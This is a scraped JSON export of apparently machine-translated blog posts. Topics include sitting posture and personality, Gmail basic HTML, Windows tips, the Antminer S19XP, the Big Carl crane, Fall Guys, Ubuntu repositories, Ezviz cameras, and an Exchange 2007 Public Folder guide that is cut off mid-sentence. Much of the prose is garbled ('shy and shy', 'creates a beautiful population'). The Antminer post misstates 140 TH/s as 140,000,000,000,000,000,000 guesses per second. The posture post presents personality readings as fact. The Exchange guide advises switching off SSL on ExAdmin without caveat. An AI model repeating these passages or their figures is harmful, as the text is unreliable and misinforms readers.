you think carefully and carefully. Especially when standing in front of important decisions, you often have a habit of analyzing things that you might encounter when solving problems. Besides, you are a visionary, rarely offering any choice if you have not been able to measure anything and lose anything.\nSitting forward   The sitting position facing forward shows that you are very friendly and approachable . You are a person who likes to communicate with many people and is willing to give others praise and encouragement. You are interested in the story being told and with the person you are talking to, especially listening to others. You always praise others if you feel it is worth it.\nSit with your legs together   At first, you will be said to be a rather cold person, but when exposed to a time, people will find that you are a kind, kind and sincere person . You are the one who likes to go straight to the point, not like to go around. You are on time, meticulous and always try to complete the plan.\nSitting cross-legged with two ankles   You are a resolute, leadership-driven person who wants to control everything that happens around you . So sometimes you will be considered a \" dictator\" , but that does not mean you are not pleased with your friends and people around. You are a person who likes to make friends, be open to new relationships, but also often has a sense of jealousy when you, your lover, are close to others.\nSitting cross-legged   You are a humble, simple and quite shy person so often feel shy when in front of strangers. You rarely express your true feelings to others, so you are often considered a rather introverted person and do not have the habit of sharing your feelings.\nSee also: Why should we never sit cross-legged?\nSitting with your arms folded across your chest   You are quite a serious person and have a strong personality . You have subtle, deep thoughts that few people think of. Your facial expression often seems pensive, or more thoughtful, than smiling brightly. Despite being a confident person, it takes a while for you to open up to a relationship.\nTwo hands between the legs   You are a gentle, sensitive and kind person . In relationships, you are thoughtful and kind, always willing to listen to others' feelings and don't hesitate to help them immediately. For relatives and friends, you always devote sympathy, sharing every time you encounter difficulties. However, you are also quite shy and shy, always hesitant and hesitant in your thoughts and decisions.\nPut your hands on your knees   With this poise of sitting style, you are a leader in leadership . You are confident, attentive and have a very calm attitude towards all problems. You are always ready to take responsibility in the wrong decisions. You do not show shyness, fear when the problem occurs but act with a \" cold head \" to easily resolve all things smoothly.\nKnitting hands together   You are a gentle, optimistic and open person . You are always a cheerleader in friends gatherings because of your optimism and the ability to convey joy to everyone. Anyone who comes into contact with you feels a positive source of energy in you. Therefore, the conversations between the two people become much more funny and interesting.\nSee also: 13 crescent-shaped health problems that are trying to alert you\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJuv8Saq2aon6jBtr7EZqmerpWWuaq6xmaYm6elqXq6u9SrZKmdoqi8r63Loquy\n","link":"/post/what-is-the-seat-posture-revealing-about-your-personality/","section":"post","tags":null,"title":"What is the seat posture revealing about your personality?"},{"body":"So is there a special reason for you to use Gmail in a basic HTML session? How to access? Find out below.\nWhy you should use the basic HTML version of Gmail If your Internet connection is too slow, the basic HTML version of Gmail will provide a much faster and smoother experience than the standard version. You can still find the emails you need, read them, view email folders, send new emails, and even change your Gmail account settings with ease.\nAnother scenario where you should consider accessing Gmail during a basic HTML session is when you're on a limited cellular data plan. Compared to the standard version, the basic HTML version of Gmail consumes fewer resources, resulting in significantly less network data usage.\nYou may also want to use the basic HTML version of Gmail if you don't like the 'clutter' of the standard interface and are not interested in using advanced Gmail features, such as checking. dictation, keyboard shortcuts, or text formatting.\nHow to Access and Use the Basic HTML Version of Gmail To open Gmail's basic interface, you won't have to make permanent changes to your settings. Plus, you can quickly and easily switch back to standard view if you don't like the basic layout.\nTo access Gmail's HTML interface, open any web browser on your computer and launch the basic Gmail HTML page. The full URL is as follows:\nhttps://mail.google.com/mail/u/0/h/1pq68r75kzvdr/?v%3Dlui   When Gmail opens, you'll be greeted with a very basic but 'clean and tidy' interface. Here, you can still find, read, and compose new emails, and do more.\n  You can also create a new bookmark or edit your existing Gmail bookmarks for quick access in the future.\nWhen you're done using Gmail in basic mode and want to switch back to standard mode, scroll to the bottom and click 'Standard'.\n  It's all simply that. Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjLKmrmWjnby2uMNmnqhll6KuqriMm5isoZNitbW5y2auobFdlruleceorg%3D%3D\n","link":"/post/why-you-should-go-gmail-basic-html-why-and-how/","section":"post","tags":null,"title":"Why You Should Go Gmail Basic HTML: Why and How"},{"body":"Virtual keyboard is quite useful and necessary feature in some cases with Windows users. This feature is first integrated on Windows XP, On Screen Keyboard (or still known as virtual keyboard) proved extremely useful when your hard keyboard is certain keys, suspected computer is infected or keylogger . in short, there are many reasons why we cannot use the keyboard, thanks to the virtual keyboard. In the following article, Network Administrator will guide you 6 ways to open the virtual keyboard On Screen Keyboard on Windows 10.\nSee more articles opening virtual keyboard on Windows 7/8 / 8.1 How to open virtual keyboard on Windows 10 1. Open the virtual keyboard on the Start Menu 2. Open the virtual keyboard from the Run command window 3. Open the virtual keyboard via Command Prompt or PowerShell 4. Open the virtual keyboard in Ease of Access via the Start menu 5. Use Ease of Access Center in PC Settings 6. Open the virtual keyboard via Control Panel Activate the virtual keyboard every time Windows starts Configure virtual keyboard  7. Open the virtual keyboard Touch keyboard on Windows 10 1. Open the virtual keyboard on the Start Menu Enter the keyword On screen keyboard in the Search box on the Start Menu or on the Taskbar and then press Enter to open the On screen board virtual keyboard on Windows 10. If your keyboard is broken and cannot enter text, see how to number 5, or ask someone to send you \"osk\" via the messaging application, use your mouse to copy and paste it into the search box.\n  2. Open the virtual keyboard from the Run command window To open the virtual keyboard from the Run command window, follow the steps below:\nStep 1:\nPress the Windows + R key combination to open the Run command window.\nStep 2:\nOn the Run command window, enter OSK (without capitalization) on it and press Enter to open the virtual keyboard.\n  3. Open the virtual keyboard via Command Prompt or PowerShell Follow the steps below to open the virtual keyboard via Command Prompt or PowerShell:\nFirst open the Command Prompt window or PowerShell window, then type \"OSK\" into it and press Enter .\n  4. Open the virtual keyboard in Ease of Access via the Start menu Open the Start Menu, then click on All apps and then click the folder icon Windows Ease of Access to expand the folder, then click On Screen Keyboard to open the virtual keyboard On Screen Keyboard.\n  5. Use Ease of Access Center in PC Settings Step 1:\nOpen the Settings app by clicking the Settings icon in the left corner of Start Menu.\nStep 2:\nOn the Settings window, find and click to select Ease of Access.\nStep 3:\nClick on Keyboard, then on Turns on the on-screen keyboard you switch the option state to ON.\n  \n6. Open the virtual keyboard via Control Panel Step 1:\nOpen Control Panel by right-clicking on the Start button, then selecting Control Panel .\nStep 2:\nOn the Control Panel window, find and click to select Ease of Access .\nStep 3:\nClick Select Ease of Access Center.\nStep 4:\nFinally click on Start On-Screen Keyboard to open the virtual keyboard.\n  Activate the virtual keyboard every time Windows starts From Ease of Access Center, click Use the computer without a mouse or keyboard , in Explore all settings .\n  In Type using a pointing device , select the Use On-Screen Keyboard option , then click OK.\n  Configure virtual keyboard When the keyboard is displayed on the screen, you can adjust it to suit your needs by clicking the Options button on the virtual keyboard, in the bottom right corner. Here you have several ways to use the virtual keyboard:\nClick on keys or press Alt + C to access the keyboard with your mouse or other pointing device by clicking on the box you want to use. Hover over Keys or press Alt + H to access the keyboard with your mouse or other pointing device, by moving through the box to select. You can select the hover time by using the Hover duration slider. Scan through keys or press Alt + S to access the keyboard using access devices such as the spacebar, switch or gamepad. Use the Scanning Speed slider to select the scanning speed. In Windows 10, the virtual keyboard has an integrated text suggestion tool to speed up typing and spell checking. To turn on text suggestions: Select U se Text Prediction or press Alt + T , you can also choose to add a space for all selected words by clicking to select or pressing Alt + W.\n7. Open the virtual keyboard Touch keyboard on Windows 10 In addition to the traditional virtual keyboard found on all Windows, Windows 10 also has a built-in touch keyboard for touch screens. To open this keyboard, right-click on the taskbar\u0026gt; select Show touch keyboard button \u0026gt; a keyboard icon will appear next to the speaker icon. This keyboard is integrated with the sticker. A special feature of the keyboard is that when you need to click on the icon to use it, when you don't use it, just hover your mouse away, type the word from the real keyboard, the touch keyboard will be hidden.\nIf using on touch device or using phone, touch screen controls Windows 10 remotely, you can go to Settings\u0026gt; Device\u0026gt; Typing\u0026gt; turn on option Show the touch keyboard not in tablet mode and there's no keyboard attached then each when you point your mouse at the keyboard input area, it will automatically appear.\nRefer to some of the following articles:\nFix keyboard error not working on Windows 10 Instructions for handling when the laptop keyboard key is broken How to disable 1 or more any key on Windows 10 keyboard? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kg27DwLKqZqyfYryxsc1mraKqpKqurXnKnrCbp5GnsW67zWauoqaUpMS0eZBp\n","link":"/post/6-ways-to-open-virtual-keyboard-on-windows-10/","section":"post","tags":null,"title":"6 ways to open virtual keyboard on Windows 10"},{"body":"This is the latest model of Bitcoin miner in the S19 series, which was launched by Bitmain in 2020. Antminer S19XP is advertised as 27% more powerful than S19 Pro but 27% more energy efficient.\n  S19XP has a computing power of 140 terahashes a second (TH/s) - which means it makes 140,000,000,000,000,000,000 guesses per second to find the next block in the blockchain. (\"hashrate) - a metric used to measure power. This huge hash rate far exceeds Bitmain's most powerful Antminer model, the S19 Pro, which has a mining speed of 110 TH / s.\nAntminer S19XP is equipped with a chip manufactured by TSMC on the 5nm process, so it has the lowest power consumption compared to any current Bitcoin miner, consuming 3010W. This means that the efficiency of the S19XP is 21.5 watts per terahash (W/TH), while the S19 Pro uses a 7nm chip that has a power output of 29.55 W/TH.\nAccording to calculations, each S19XP miner can earn about 53 USD/day, up to 25% higher than Antminer S19 Pro and Whatsminer M30S - Bitcoin miners are rated as the most profitable today. .\nAntminer S19XP has a starting price of 10,500 USD / one. Currently, Bitmain has started accepting pre-orders for the Antminer S19XP. S19XP and will start shipping the first batch in the third quarter of next year.\nbitcoin virtual currency ncG1vNJzZmismaXArq3KnmWcp51krq%2FAzKKlnqpdqH56xM9mq6GdXZ2yorjToaCeq6Rir6rAwqigp2WdnrumvoyopWasmJp6sbjAp5yt\n","link":"/post/antminer-s19xp-the-healthiest-bitcoin-miner-on-the-planet/","section":"post","tags":null,"title":"Antminer S19XP, the 'healthiest' Bitcoin miner on the planet"},{"body":"Level 4 houses a garden with a rustic beauty, bringing a feeling of peace is a great choice for homeowners who own large land and love nature.\nHere are beautiful 4-level garden houses, saving construction costs, please refer.\nThis small garden house has an area of ​​only 41m2 but still shows up with impressive airy. The house is designed from a combination of tradition and modernity to create a simple but unique feature.\n  The model of a beautiful garden house with a large garden space creates a beautiful population.\n  Modern 4-level garden house model. The door system is completed with glass material that helps create ventilation and bring light into the house, but also helps homeowners easily immerse in the green nature outside.\n  4-level garden roof with luxurious mezzanine. The harmonious combination of white paint color and the harmonious gray fish scale roof tile system helps the house become beautiful and not boring. There is a garage behind the house and a swimming pool in front of the house.\n  1-storey garden house with classic architecture and morphology.\n  Model 4 garden houses have 3 beautiful bedrooms with harmonious colors, subtle from the combination of the red of the roof tile with the dark brown of aluminum blue, the light gray gray of the wall paint, the pale yellow of the porch, wood color.\n  4-level garden roof houses impressive facade, high aesthetic. The layout of the house is carefully calculated and distributed in a U shape to create a solid and solid.\n  1-storey garden house model is designed with elegant colors but no less prominent thanks to the combination of white color of wall paint and gray color of the roof.\n  ncG1vNJzZmismaXArq3KnmWcp51kr6at1K2gn62cYrSivsOepWaklauyrXnMqJuepF1p\n","link":"/post/beautiful-garden-level-model-4/","section":"post","tags":null,"title":"Beautiful garden level model 4"},{"body":"Big Carl or SGC-250 crane with a height of 250m is the largest crane in the world today. Big Carl is taller than the Prince of Wales Bridge across the Severn River, exceeding the total length of two football fields, even longer than the span of the wings of three Airbus A380 aircraft. This gigantic crane can be seen from a great distance.\nThe world's largest crane is capable of lifting 5,000 tons of cargo at a time. It is currently working at the Hinkley Point C nuclear power plant, England, with the task of assisting engineers to put pre-assembled parts of the power plant into position. Big Carl will lift over 600 parts for the power plant, including the heaviest parts.\n  Big Carl was completed in Belgium and the crane was then divided into 280 parts for transport to a pier. It takes a total of 10 weeks and at least 5 other cranes to transport Big Carl to Hinkley Point C. It will work at Hinkley Point C for 4 years, before being dismantled.\nThe US $ 24 billion Hinkley Point C nuclear power plant project will be the first new nuclear reactor in the UK since 1995 and one of the largest construction projects in the world.\nYou can see some close-up shots of the world's largest crane Hinkley Point C in the video below.\nncG1vNJzZmismaXArq3KnmWcp51ksK270p6sqWWfm3q1tMRmrqiqnJnAbrjAq56eq6RisLOtzZ5knJmglq%2BtsYyonWakmZvBqrrGZmxpaGBiwbC60mamn2WTlr%2Bou4yaq2aZXam2rrE%3D\n","link":"/post/close-up-of-the-world-s-largest-crane-capable-of-lifting-5-000-tons-of-cargo-at-a-time/","section":"post","tags":null,"title":"Close-up of the world's largest crane, capable of lifting 5,000 tons of cargo at a time"},{"body":"The Hibernate option built into the Power button (Power button) allows users to store data when the computer is in the same state as not starting.\nThe file hiberfil.sys is located in the System32 folder on drive C, when you leave your computer in Hibernate mode (hibernation mode), these files will automatically replace to store data.\nHowever, it is worth mentioning that the file Hiberfil.sys is one of the files consuming a lot of hard drive space on your computer. Hibernate uses Hiberfil.sys files to store the current state (memory) of the computer, so the Hiberfil.sys file is managed by Windows so you cannot delete these files in a way that is clear. often. However, you can still compress hiberfil.sys file on the system to free up hard drive space.\nSteps to compress hiberfil.sys file on Windows 10: Note:\nThis method allows users to reduce the file size hiberfil.sys occupied on the system RAM. If you are using a computer with 4GB of RAM, you can reduce the file size hiberfil.sys% by 50-100%, with 2 GB RAM is 50%, with 3GB RAM is 75%.\nStep 1: First enter cmd in the search box on the Start Menu. On the search results list, right-click Command Prompt and select Run as administrator to open the Command Prompt under Admin.\n  Step 2: Next enter the command below into the Command Promt window and press Enter:\npowercfg -h -size ab\nIn the above statement, replace ab with the percentage of file size you want to compress.\nFor example, if you want to compress 50%, you use the command:\npowercfg -h -size 50\n  Step 3: Finally press Enter to compress the hiberfil.sys file or the Hibernation File file on your Windows 10 computer.\n  Refer to some of the following articles: What is Hiberfil.sys? How to delete Hiberfil.sys? What is Pagefile.sys? Can pagefile.sys be deleted? Instructions for changing Pagefile.sys size and location on Windows Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLC5z6ucrKtdnbajsdGfoKWrqah6p7XLnmStp12bv6axjK6nZpyZqLhuv8%2Bamp5ln6N6uLXNnaawq11mfQ%3D%3D\n","link":"/post/compress-hiberfil-sys-file-to-free-up-disk-space-on-windows-10/","section":"post","tags":null,"title":"Compress hiberfil.sys file to free up disk space on Windows 10"},{"body":"In the game Fall Guys, many players compete with each other to pass levels and become the last survivor.\nThe following tips will help players get through the 30 rounds of Fall Guys and become the only winner. However, these tips do not guarantee 100% victory because this game has extremely chaotic physics, and other talented opponents.\nThese little tricks and tactics mainly give gamers a competitive edge without any trial and error while playing.\nFall Guys' Round-by-Round Guide Big Fan   The trick to overcoming Big Fans is not to act hastily, especially when the number of players is especially crowded. People can jump from one court to another on the same fan, or run around the central rotation, but it is often easier to just wait and follow the rotation. Always watch out for other players trying to push you out of the race.\nPlayers should focus on just jumping over the bar, although if you're feeling confident it's possible to get over it while jumping to another surface.\nBlock Party   Try to avoid crowds, as once the low fences come into play, it's easy for characters to trip and roll over if they bump into other players. Jumping and diving sideways can help overcome obstacles, if there is no time to sprint to their side. As the round progresses, players should stay close to the front edge so they can see what's coming next, but don't jump too far forward from position.\nDizzy Heights   Follow the direction of the rotating platforms and possibly jump over the triangular blocks to find a shortcut. Don't stress about falling in the second half as the bottom is easy to navigate and the character can jump through the upper holes. Make sure to jump on the last spinning rig so you don't fall into the hidden void.\nDoor Dash   Follow the leading players, let them determine which door to break first, and simply follow through the currently open gap. Dive through when opponents and obstacle parts start to pile up, to glide over their heads instead of being held back.\nEgg Scramble   While collecting the initial eggs, the player can jump then dive to throw them in their basket without having to climb out again. When the group has collected a decent amount, stand guard on the top step to block opponents from trying to climb the ladder to steal eggs. Players can grab to prevent them from escaping or dropping eggs.\nEgg Siege   Like Egg Scramble, the best strategy is to quickly get as many eggs into your nest as possible, then start defending. Protecting the eggs in this round is more difficult because there are 2 ramps leading out of the nest that cannot be defended at the same time. However, if several people in the party take a side, they can each grab any opponent trying to take the eggs away and drop them straight back again.\nncG1vNJzZmismaXArq3KnmWcp51ks6K4y2aerrGjYr%2Bwwc2dmbKqn6q7pXnGrqCdnQ%3D%3D\n","link":"/post/fall-guys-round-by-round-guide/","section":"post","tags":null,"title":"Fall Guys' Round-by-Round Guide"},{"body":" Has a website told you to add a Ubuntu Repository? Then follow these Steps. Any changes require you to be in the 'sudo' user group and have your password handy. Open the Ubuntu Software Centre.\nMethod 1of 2:\nDisable and Enable \"Ubuntu Software\" Repositories  Open the Ubuntu Software Centre.\n  Click on \"Edit\". If you can't see it, try hovering over \"Ubuntu Software Centre\".\n  Click on \"Software Sources...\".\n  If you want to enable/disable \"Ubuntu Software\" Repositories, just check/uncheck the tick boxes to the right of each repository entry. A minus (-) like the default setting for \"Source Code\" means only part of it is enabled (by the way, source code means \"let me download source code for all my \"Ubuntu Software\" repositories\"). To add/remove/edit/enable/disable a different repository, continue to Method 2.\n Method 2of 2:\nAdd/remove/edit/enable/disable \"Other Software\" Repositories  Click \"Other Software\" to open the \"Other Software\" section \n  Tick the check box next to a repository to enable the respective repository, and Vice Versa (uncheck the box to disable the repository).\n  To remove a repository, click it's entry in the list and then click the button labeled \"Remove\".\n  To add a CD, click \"Add Volume...\" and Ubuntu will add the inserted disk. To add a regular repository click \"Add...\" and Paste or type in the APT Line into the text box. Then Press enter. After adding a repository, the Ubuntu Software Centre will start updating your local cache of software.\n  You can Edit an entry, but we recommend Removing it and then Adding it with the new details.However, if you really want to, click the entry and click \"Edit...\". You will then be greeted with a prompt to enter the Repository information.\n  If you need to add a Signing Key, click on \"Authentication\". Then click on \"Import Key File...\" and select the file.\n  When you are done, click Close.\n  Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFuwcGupa2tXaeysbvSoquoqpmawA%3D%3D\n","link":"/post/how-to-edit-ubuntu-repositories/","section":"post","tags":null,"title":"How to Edit Ubuntu Repositories"},{"body":"Whether your Android phone features Stop Motion recording and TimeLapse or not, you can still use the Motion app to record these super cool videos.\nHere are some free Android apps that can help you create slow-motion (Stop Motion) easily.\nWhat is Stop Motion?\nStop Motion (still-life animation) is a film-making technique in which the characters are made up of each move, then photographed and stitched into a continuous motion to create videos and movies. .\nStop Motion video recording feature is available on newer Android phones. If you own an old phone or can't find him in this device's default camera app, you can still create your own stop motion videos. By installing some applications, you will never be bound by the device's default functions, as is the Stop motion recording feature. Today TipsMake.com will share Stop Motion video recording with the Stop Motion video creation application on Android.\nMake Stop Motion videos on Android with Motion Step 1 . Download and install Motion application from Google Play store to Android device.\nStep 2. After installing, open the application. On the app's home screen, tap the '+' icon in the top right corner of the screen. It will help you create a new video project.\n  Step 3. On the next screen you will see the phrase Tap the camera icon to start capturing frames (Click the camera icon to start recording the video). Follow the instructions, click on the camera icon placed just below the text and start clicking on different frames.\n  Step 4. After recording all the desired images, press the tick icon to stop video recording. You should now see all scenes shot (frame by frame) on the screen. Here you can edit and delete any frames. After completing the installation, click the play button to watch the video. If you still want to edit the video speed or frame rate, you can click on the clock icon placed on the screen.\n  Step 5. After obtaining the desired result, you can export the video and save it to the desired folder. Click on the download icon to save the video. Videos are exported with a resolution of 360p and nearly 50 frames per second (you can set these settings). Finally enjoy the video or share it with friends.\nStop Motion Studio   This is one of the professional applications for making Stop Motion movies. With Stop Motion anyone can create impressive videos for beginners or experienced users.\nThis application is compatible with Android 4.1 and above. Capacity 36.5 MB. Support extracting many formats (video, gif, pdf, .) Link download: Stop Motion Studio\nPicPac Stop Motion \u0026amp; TimeLapse This is a free application that supports Stop Motion movies and TimeLapse (free time lapse) for free on Android. PicPac Stop Motion \u0026amp; TimeLapse compatible Android 4.1 and above. N\nDownload link: PicPac Stop Motion \u0026amp; TimeLapse\nHow to create Stop Motion videos with PicPac Stop Motion \u0026amp; TimeLapse\nStep 1: select the image. Users have 3 choices as follows:\nVideo -\u0026gt; Photos: Select images extracted from MP4 videos. Take photos: Choose from new photos. Local photos: Select the image on the device.   Step 2: At the Select Pictures interface, select the image to use. Each image you can choose to duplicate, rotate the image, crop the image by clicking on the icon button edit pen image.\n  Step 3: If you choose how long to display each image, you will get Stop Motion video and vice versa the video is TimeLapse. To preview the video, click on the Play button.\n  Step 4: At the Video Settings interface appears, you can set the properties for the finished video: the title with the optional font, the resolution, the option of the displayed duration for each image (maximum of 10 seconds ).\n  Export videos with 2 options as follows:\nCreate video: make MP4 video. You can insert audio if you want with the optional source: record, file on your computer, download on SoundCloud. Create GIF: create animation. Stop Motion Builder This application helps to create Stop Motion videos with many effects and attractive functions without Internet. Stop Motion Builder compatible Android 4.2 and above.\nLink download: Stop Motion Builder.\nTitle Card : Select the cover image for the video, you can choose an existing photo or take it from outside. After selecting, you can insert the video title, the producer name . -\u0026gt; click OK .\n  Add New Frame : select the image for the video.\nFrom camera: new photo.\nFrom library: select the image available from the library on the device.\nClick OK .\n  Edit Movie : After selecting an image, this interface will appear.\nTo add a new photo, press the button to the left of the trash.\nYou can edit on each image by: clicking Edit -\u0026gt; Edit Frame window will have tools for you to: dub sound, add text, change the duration of display, adjust image color -\u0026gt; After editing, click OK to save.\n  Back to the Edit Movie interface, there are audio insertion tools for video, color filtering effect, frame rate per second (FPS). After you've finished editing, click OK to save.\n  Credits Creator : Update more information about directors, actors . -\u0026gt; OK.\n  You need to wait a few minutes for the application to create the complete video -\u0026gt; click Save on device to save it.\nIf you want to edit or view the created video, open the Movie Gallery folder.\nSee more:\nInstructions on how to make video from photos with Proshow Gold is extremely simple Top software to create videos from quality images Collection of free music sources to make YouTube videos ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuv9Oop2aln6m2sLqMr6CdnZ%2BoerC6jJqlnaqfnrFuvMeopZ6r\n","link":"/post/how-to-make-stop-motion-videos-on-android-phones/","section":"post","tags":null,"title":"How to make Stop Motion videos on Android phones"},{"body":"Therefore, uninstalling an update when it is suspected to be the cause of the problem will be essential for your system to quickly return to stable operation.\nOn Windows 11, users will receive two basic types of updates: Builds and regular updates. The build is a major update, which comes with new features as well as interface changes. On the other hand, regular updates will patch reported bugs and security holes on the system. You can completely remove both types of updates, as well as undo all the changes that the update has made to your computer, if you think they are causing problems on your system. .\nUninstall an update on Windows 11 Removing a regular update (also known as a cumulative update) is easy in Windows 11.\nTo get started, open the Settings app on your Windows 11 PC by pressing the Windows + i key combination.\nIn the Settings interface that appears, from the list on the left, click on 'Windows Update'.\n  On the 'Windows Update' settings page that appears, click 'Update History'.\n  In the 'Update History' menu, from the 'Related Settings' section, select 'Uninstall Updates'.\n  You should now see a list of installed updates on your PC. To remove a specific update, select it from the list, then click the 'Uninstall' button at the top.\n  The 'Uninstall an Update' prompt will appear. Click 'Yes' to confirm your action.\n  Windows 11 will begin removing the selected update from your PC.\nUninstall a build setting on Windows 11 Basically, you can uninstall builds just like regular updates. However, it should be noted that only a build can be deleted within 10 days of the time it was installed on the system. If it's been more than 10 days, you won't be able to rollback the build. In this case, you will have to reinstall Windows 11, or restore a full system backup on your computer if you still want to remove the build.\n(Note: When you uninstall a build, your personal files are not deleted, but any changes made to the application and system settings state since the recent update will be deleted).\nFirst, open the Settings app on your Windows 11 PC by pressing the Windows + i key combination.\nIn the Settings interface that appears, from the list on the left, click on 'System'.\n  On the 'System' page, scroll down and click on 'Recovery'.\n  On the 'Recovery' screen, next to 'Advanced Startup', click 'Restart Now'.\n  You will see a prompt saying 'We'll Restart Your Device So Save Your Work'. Click 'Restart Now' to restart your PC.\n  When your PC restarts, you'll see the 'Choose an Option' screen. From here, go to Troubleshoot \u0026gt; Advanced Options \u0026gt; Uninstall Updates \u0026gt; Uninstall Latest Feature Update.\nThere, click 'Uninstall Feature Update', and Windows 11 will remove the latest build installed on your PC!\nWindows 11 update Windows 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2enru0wMClo2aZXay2r7DOsKpmaWFiwrGwwK2c\n","link":"/post/how-to-uninstall-a-windows-11-update/","section":"post","tags":null,"title":"How to Uninstall a Windows 11 Update"},{"body":"Security cameras are becoming more and more familiar and are present in most households and businesses everywhere. In particular, Ezviz camera is currently the top choice of many consumers today to serve the needs of security and monitoring of their homes anywhere.\nIf you are new to Ezviz camera but you do not know how to install and use it, please refer to the following tutorial article.\nI. About Camera Ezviz Ezviz camera products are manufactured by Hikvision Corporation , this is one of the famous brands associated with the largest video surveillance solutions in the world today.\n  Most Ezviz camera products are always appreciated and favored by users thanks to the superior features and characteristics compared to other competing products, such as they have a compact design, currently modern, easy to install and can be used in any location such as indoors, outside gates, offices, outside public…\nIn addition, this device also has the following outstanding features:\nAlarm function: When an intrusion signal is detected, this device will issue an alarm directly to the phone for quick identification by the user. Video conversation function: Users can talk via video with audio from 2 directions completely free. Control function: support the person to move the angle of the camera such as horizontal rotation up to 360 degrees, vertical rotation and maximum tilt of 140 degrees. Smart tracking function: The camera automatically detects and records abnormal movements, then notifies users. Day and night function: Thanks to the use of the Multiple IR Leds round lens, the camera will still get the clearest image even in low light. Infrared function: This camera is equipped with 16 infrared light bulbs to better identify and observe in the evening. To manage and control this camera, users will need to use Ezviz software on the phone to use, this will be my guide in the section below.\nII. Steps to install Camera Ezviz on your phone Now I will guide you how to install Ezviz management software on the phone with the following steps:\n1. How to sign up for an Ezviz account Step 1: On your phone, go to App Store (iOS) or Google Play (Android) to download the software called Ezviz to your device.\nStep 2: Download the software to your computer, open this Ezviz application and select the words 'Register a new user'.\n  Step 3: You can register by phone number or email and the two options have the same registration method. In this example, I will register by email.\n  Step 4: Now you will proceed to fill out the information including email, password and as required. Then click the Next button to continue.\n  Step 5: Now the software will send an activation email to the email address you have registered. You only need to access your email to get 4 authentication codes and re-enter in this software to complete.\n  Then click on the Next box .\n  Step 6: Now the software will proceed to create an account for you. You wait until the message screen shown below below is created Ezviz account successfully!\n  2. How to connect the Ezviz camera to the software on the phone Once you have created your account, you will now need to connect the Ezviz camera to the software on your phone using the following steps:\nStep 1: You proceed to connect the camera to the power source.\nStep 2: Open the Ezviz application and log in to the account you have just registered.\nStep 3: In the main interface, click the box to Add device.\n  Step 4: The software will now ask you to scan the QR code printed on the camera device, click the Scan QR code button .\n  Step 5: The camera interface appears, flip the base of the camera up, there will be a QR code paste, you just need to put the camera in the code box to conduct a scan.\n  Step 6: After successfully scanning the QR code, click the Connect to network box to continue.\n  Step 7: Select the product you are using in the list of devices that appear\n  Select Wireless connection if you use Wi-Fi connection.\n  Step 8: Now the wifi parameters will appear, if you see the wifi connection match, click on the Next box .\n  Step 9: Now you will need to bring the phone closer to the camera with a distance of 5cm to make a connection between the camera and the software.\n  Step 10: After connecting successfully, on the screen will display Device Settings as shown below. Now click on the box View camera to start using.\n  So I showed you how to install Camera Ezviz, as well as how to use this device in the simplest way. Hopefully the above article will be useful to you. I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZOWuqa%2BwGacs66Zr3qwuoytn55loJ28r7E%3D\n","link":"/post/instructions-for-installing-camera-ezviz-on-the-phone/","section":"post","tags":null,"title":"Instructions for installing Camera Ezviz on the phone"},{"body":"Anderson Patricio\nNetwork Administration - This series will introduce you to Exchange Server 2007 scripts for managing Public Folder replicas and client permissions.\nAll the scripts introduced in this article can be found in the Scripts folder of any Exchange Server 2007 installation directory.\nPublic Folder folders are a feature of Exchange in providing many management options. We'll show you some of the main management methods, then use some scenarios to demonstrate how we can manage some Public Folder features through them.\nWith Exchange Server 2007 SP1 we can use the tool called Public Folder Management Tool to allow administrators to create and manage Public Folders and System Folders in the same view window, as shown in Figure 1. .\n Figure 01\nWe can use Exchange Server 2003 Exchange System Manager to manage Exchange Server 2007 Public Folders. Install the Exchange System Manager tool in some operating systems (Windows 2000 Server, Windows Server 2003 or Windows XP), though However, it is necessary to follow some prerequisites, these prerequisites depend on each operating system.\nWe do not need to install management tools on Exchange Server 2003. Let's assume that we have a completely pure Exchange Server 2003 and Windows Server 2003, then just install IIS and install the Exchange Server installation disk. 2003 into the drive, click Exchange Deployment Tools, and then click Install Exchange System Management Tools only. Follow the installation process and make sure you select the Exchange System Management Tools during the selection of components.\nOne problem you need to keep in mind to access Public Folder using the Exchange Management Tools is to disable the SSL procedure for the ExAdmin virtual directory.\nLog in to the Exchange Server 2007 machine, where Public Folder is deployed.\n Open IIS (Internet Information Services Manager).\n  Open Web Sites.\n  Open Default Web Site.\n  Right-click ExAdmin.\n Click the Directory Security tab\n Click the last button Edit . located in the Secure Communications area .\n Remove the option to Require Secure Channel (SSL).\n Now we can return to the server where Exchange System Manager has been installed and opened Public Folders (Figure 2). Don't forget to install Service Pack 2 on this installation as it will add a lot of useful Public Folder management resources.\n  Figure 02\nWe also have the third option, which is using the PFDavAdmin tool (Figure 3), this is where we can manage duplicates, client permissions, restrictions, . To use PFDavAdmin we can download it from here.\n  Figure 03\nBy default, any Exchange Server 2007 installation has a subdirectory called Scripts, which is where we can find a lot of scripts to help us perform administrative tasks. day. In this section, we will introduce scenarios related to Public Folder management. There are all the scripts we will use in this section.\n AddReplicaToPFRecursive\n RemoveReplicaFromPFRecursive\n ReplaceReplicaOnPFRecursive\n  MoveAllReplicas.ps1\n AddUsersToPFRecursive.ps1\n ReplaceUserWithUserOnPFRecursive.ps1\n ReplaceUserPermissionOnPFRecursive.ps1\n RemoveUserFromPFRecursive.ps1\n We will test these scripts in a scenario where we have three servers (srv-ex01, srv-ex02 and srv-ex03) and they all have the Mailbox Server role installed, with Public Folder Database and active. We have several Public Folders configured on the srv-ex01 server and in this section we will configure replicas between these servers. Public Folders are located on the first server and have three directories (Finance, IT and Sales), the Internet top folder has four extended folders. Public Folder structure can be referenced in Figure 4.\n  Figure 04\nBefore using these scripts, let's look at some general usage guidelines. First of all, you can edit them and create your own scripts, and you can use the –help switch for help and examples of how to use the script, eventually using the ' ./' plus the script name to run the script through the Exchange Management Console session.\nThe final warning is to use them for Exchange Server 2007, the parameters in the Server all scripts must be Exchange Server 2007.\nManage folder copies\nThe Public Folder architecture is replicated between servers, but the copy content must be defined by Exchange Administrator. We will use the AddReplicaToPFRecursive.ps1 script to add another server to the replica list of the top directory and all 